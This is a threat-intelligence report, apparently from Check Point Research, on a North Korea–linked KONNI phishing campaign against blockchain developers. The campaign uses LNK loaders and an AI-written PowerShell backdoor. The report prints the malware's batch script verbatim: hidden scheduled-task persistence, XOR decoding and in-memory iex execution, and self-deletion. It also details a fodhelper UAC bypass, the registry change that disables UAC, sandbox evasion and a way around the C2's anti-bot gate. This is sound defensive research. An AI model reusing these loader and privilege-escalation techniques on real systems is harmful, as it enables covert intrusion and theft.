KONNI Adopts AI to Generate PowerShell Backdoors

samanthar@checkpoint.com
Thu, 22 Jan 2026 05:54:16 -0800

North Korea-linked threat group KONNI targets countries across APAC, specifically in blockchain sectors, with AI-generated malware

Check Point Research (CPR) identified an ongoing phishing campaign that we associate with KONNI, a North Korean–linked threat actor active since at least 2014. KONNI is best known for targeting organizations and individuals in South Korea, with a focus on diplomatic channels, international relations, NGOs, academia, and government. The group typically relies on spear-phishing that delivers weaponized documents themed around geopolitical issues and activity on the Korean Peninsula. In this publication, we describe a recent KONNI operation aimed at software developers and engineering teams. The attackers use lure content designed to look like legitimate project documentation, often tied to blockchain and crypto initiatives. This targeting suggests an intent to compromise targets with access to blockchain-related resources and infrastructure. While the delivery and staging steps align with KONNI’s established tradecraft, the campaign shows signs of broader targeting across the APAC region, extending beyond the group’s usual focus areas. Another notable aspect of the campaign is its use of an AI-written PowerShell backdoor, reflecting the increasing adoption of AI-enabled tooling by threat actors, including North Korean–linked groups. Historically, KONNI activity was focused on South Korea, with only occasional targets located outside the country. In this campaign, however, multiple samples were uploaded to VirusTotal by submitters associated with Japan, Australia, and India, pointing to a potential geographic expansion beyond the group’s typical operating areas. The campaign appears to target engineering teams, with a clear emphasis on blockchain-related technologies. The lure documents are presented as legitimate project materials and include technical details such as architecture, technology stacks, development timelines, and in some cases, budgets and delivery milestones. This pattern suggests an intent to compromise development environments, thereby obtaining access to sensitive assets, including infrastructure, API credentials, wallet access, and ultimately cryptocurrency holdings. While this blockchain and crypto focus is more commonly associated with other North Korean–linked actors, there are indications that KONNI also engaged in financially-motivated and crypto-related targeting in the past. Figure 1 – Blockchain themed lures used in this campaign. The infection chain starts with a Discord-hosted link that downloads a ZIP archive via an unknown vector. The ZIP contains two files: a PDF lure document and a Windows shortcut (LNK) file. The LNK launches an embedded PowerShell loader which extracts two additional files: a DOCX lure document and a CAB archive, both embedded within the LNK and XOR-encoded using a single-byte key. When executed, the LNK: > @echo off mkdir "C:\\ProgramData\\VljE" move "C:\\ProgramData\\zVJs.ps1" C:\\ProgramData\\VljE\ move "C:\\ProgramData\\mKIftBn.bat" C:\\ProgramData\\VljE\ schtasks /create /sc hourly /mo 1 /tn "OneDrive Startup Task-S-1-5-21-3315426051-1901789636-3309192473-4545" /tr "cmd /c powershell -w h $d=\[IO.File\]::ReadAllBytes(\\\\\"C:\\ProgramData\\VljE\\zVJs.ps1\\\\\");$b=\[Text.Encoding\]::UTF8.GetBytes(\\\\\"Q\\\\\");for($i=0;$i -lt $d.Length;$i++){$d\[$i\]=$d\[$i\]-bxor$b\[$i%%$b.Length\]};$c=\[Text.Encoding\]::UTF8.GetString($d);iex $c" /rl limited /ru "%username%" /f timeout -t 3 /nobreak "C:\\ProgramData\\OneDriveUpdater.exe" del "%~f0"&exit /b The first-stage batch script creates a new staging directory in `C:\ProgramData`, which is used to store the malicious components. The script then moves the PowerShell backdoor code and an additional batch file into this directory. To establish persistence, the script creates a scheduled task, disguised as a legitimate OneDrive startup task, configured to run hourly with the current user privilege. This task executes an inline PowerShell command that reads the encrypted PowerShell backdoor from disk, XOR-decrypts it using the single-byte key ‘Q’, and immediately executes the decoded script in memory. It then attempts to launch `OneDriveUpdater.exe`, which is not present in this infection chain and is a leftover artifact from a previous version. Finally, the batch script deletes itself from disk and exits, removing the initial execution artifact to reduce forensic visibility. The PowerShell backdoor is heavily obfuscated using arithmetic-based character encoding. Each string is constructed by summing and subtracting numeric literals that resolve at runtime into individual ASCII characters. These decoded characters are concatenated into multiple variables, effectively acting as a string dictionary. The final stage dynamically reconstructs and executes the malicious logic using IEX (Invoke-Expression cmdlet), with substrings indexed from the previously built variables. Figure 3 – Obfuscated PowerShell backdoor. The PowerShell backdoor strongly indicates AI-assisted development rather than traditional operator-authored malware. At first glance, the script has an unusually polished structure. It opens with clear, human-readable documentation describing the script’s functionality: **“This script ensures that only one instance of this UUID-based project runs at a time. It sends system info via HTTP GET every 13 minutes.”** This level of upfront documentation is atypical for commodity or APT-authored PowerShell implants. The script is further divided into well-defined logical sections, each handling a specific task, reflecting modern software engineering conventions rather than ad-hoc malware development. Figure 4 – PowerShell Backdoor Documentation. While clean structure and comments alone are not sufficient to attribute AI origins, the script contains a far more telling indicator. Embedded directly in the code is the comment: **“# <– your permanent project UUID”** This phrasing is highly characteristic of LLM-generated code, where the model explicitly instructs a human user on how to customize a placeholder value. Such comments are commonly observed in AI-produced scripts and tutorials. The verbose documentation, modular layout, and instructional placeholder comments all strongly suggest that the PowerShell backdoor was generated using an AI system, marking a notable shift in KONNI APT’s tooling development. The PowerShell backdoor begins execution with a series of anti-analysis and sandbox-evasion checks. These include validating that the host meets minimum hardware thresholds and actively scanning for the presence of analysis and monitoring tools such as IDA, Wireshark, Procmon, etc. In addition, the backdoor enforces user-interaction checks by monitoring mouse activity and requires a minimum number of clicks before continuing. If these conditions are not met, the script terminates immediately. After these conditions are met, the backdoor enforces single-instance execution by creating a global mutex named `Global\SysInfoProject_`. The project UUID is hardcoded and is identical across all analyzed samples in this campaign: `f7d77a6d-36e0-4fcb-bae7-5f4b3b723f61`. The backdoor then generates a host-specific identifier used for C2 (Command and Control) tracking. It fingerprints the system by querying WMI for the motherboard serial number and the system UUID. These values are concatenated and hashed using SHA-256, after which the resulting hexadecimal hash is truncated to the first 16 characters. To further differentiate infections and allow operators to distinguish victims across campaigns, a hardcoded campaign-specific string is appended to this identifier before transmission. Figure 6 – Monitoring and analysis process blacklist. Next, the malware evaluates its current privilege level and takes a different path for each result: `fodhelper.exebinary by modifying registry keys under` `HKCU\Software\Classesto redirect how Windows resolves the` `ms-settingsprotocol. In this case, it creates a custom handler in` `HKCU\Software\Classes\.thm\Shell\Open\commandthat points to an attacker-controlled executable and then sets` `HKCU\Software\Classes\ms-settings\CurVerto reference the` `.thmfile type. When` `fodhelper.exeis launched, Windows follows this redirected resolution path causing` `fodhelper.exeto execute an attacker-controlled payload without triggering a UAC prompt. In this campaign, the elevated payload is` `rKXujm.exe, a small 32-bit utility whose sole purpose is to modify the registry key` `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemConsentPromptBehaviorAdminto 0, effectively disabling UAC prompts for administrator accounts. After successfull execution, the flow continues to the Admin scenario.` `C:\ProgramDataand executes the second batch script extracted earlier in the infection chain. This script replaces the existing scheduled task with a new one configured to run with elevated privileges, ensuring persistent execution in a high-integrity context.` `SimpleHelp, a legitimate RMM (Remote Monitoring and Management) tool, suggesting operator intent to maintain long-term interactive access beyond the PowerShell backdoor.` Figure 7 – Privilege-Based Execution Flow. As an initial step in C2 communication, the backdoor performs a JavaScript challenge emulation to obtain a required session cookie named `__test` from the server. The C2 endpoint is protected by a client-side AES-based gate intended to block non-browser traffic. Instead of using a browser, the backdoor downloads the same AES implementation used by the site, reconstructs the embedded JavaScript logic, decrypts the server-provided ciphertext, and extracts the expected token programmatically. This token is then used as a valid cookie in subsequent HTTP requests, allowing the backdoor to access the C2 infrastructure while bypassing basic anti-bot and non-browser filtering mechanisms. After authentication, the backdoor periodically sends host metadata, including the generated host ID, privilege level, local IPv4 address, and username, to a PHP-based C2 endpoint. Server responses are treated as tasking: if PowerShell code is returned, it is converted into a script block and executed asynchronously via background jobs. Command polling occurs at randomized intervals, and blacklist checks continue during runtime to terminate execution if analysis tools are detected. Figure 8 – Post request sent to the C2 server. Samples uploaded to VirusTotal in October 2025 reveal an earlier variant of the infection chain. In this variant, the initial payload is an obfuscated PowerShell script, with the same obfuscation method (arithmetic-based character encoding) that retrieves multiple secondary components from an attacker-controlled server. These include a mix of batch files, VBScript launchers, a PowerShell backdoor, and two PE files: `uc.exe`, the same executable discussed earlier for the UAC bypass, and `OneDriveUpdater.exe. ` OneDriveUpdater, which was not present in the samples analyzed from the later campaign even though it was mentioned at the batch file, is a 64-bit PE file whose primary purpose is to download and execute a Simple Help client, which provides the attackers with interactive remote access. Execution begins with `start.vbs`, which silently launches `simi.bat`. Similar to the primary batch file described in the later samples, `simi.bat` creates a dedicated subdirectory in `C:\ProgramData` and relocates the downloaded scripts there for staging. In addition to organizing the tooling, `simi.bat` executes `OneDriveUpdater.exe` and then launches `schedule1.bat`. This script establishes persistence by creating a scheduled task that periodically runs the PowerShell backdoor, in this case named `OneDriveUpdate.ps1`. While the execution flow is largely consistent with later samples, this earlier variant distributes its functionality across multiple scripts instead of combining it into a single batch file. `start.vbs` initiates execution, `simi.bat` handles staging and payload execution, and `schedule1.bat` is responsible for persistence. The same modular structure applies to the other supporting scripts that are not explicitly described here. The tactics, techniques, and procedures (TTPs) observed in this campaign strongly align with those associated with North Korean actors, specifically activities tied to the KONNI APT cluster. The campaign is initiated by a weaponized LNK shortcut whose structure and execution logic closely matches KONNI’s attributed LNK launchers described in earlier reports, including a case where the lure filename directly overlaps with a previously reported KONNI artifact ( `Avinash_CV.lnk`). The broader execution chain is likewise consistent with documented KONNI operations: a modular, multi-stage chain built around VBS and multiple BAT scripts, where each component performs a narrowly scoped role (staging, persistence, execution, and handoff to the next layer). Finally, earlier variants in this campaign reuse script names and code patterns that appeared in historical KONNI activity, such as `start.vbs` launching a follow-on batch file `simi.bat,` that reinforces our assessment that this activity is part of the KONNI toolset. Figure 10 – start.vbs from December 2024 infection chain compared to start.vbs from October 2025 downloaded from the server. This campaign highlights the evolution of the KONNI APT group. The delivery and staging remain aligned with previously documented KONNI tradecraft, including the use of weaponized LNK shortcuts and a modular, multi-stage execution chain built from narrowly scoped script components. These overlaps, together with the recurring naming conventions and execution logic seen in previous reports, these artifacts reinforce our attribution to the KONNI toolset. At the same time, the targeting reflects a notable shift in behavior. The operation is built around blockchain-themed project materials and appears designed to reach software developers and engineering teams, pointing to an access-oriented objective. Instead of focusing on individual end-users, the campaign goal seems to be to establish a foothold in development environments, where compromise can provide broader downstream access across multiple projects and services. Finally, this campaign is notable for its apparent use of an AI-written PowerShell backdoor. The introduction of AI-assisted tooling suggests an effort to accelerate development and standardize code while continuing to rely on proven delivery methods and social engineering. Combined with indicators suggesting activity beyond KONNI’s historically South Korean–centric footprint, this operation illustrates how a mature threat actor can maintain stable intrusion workflows while adapting both its targeting and tooling. **ZIP** **LNK** **CAB** **Scripts** **Executable**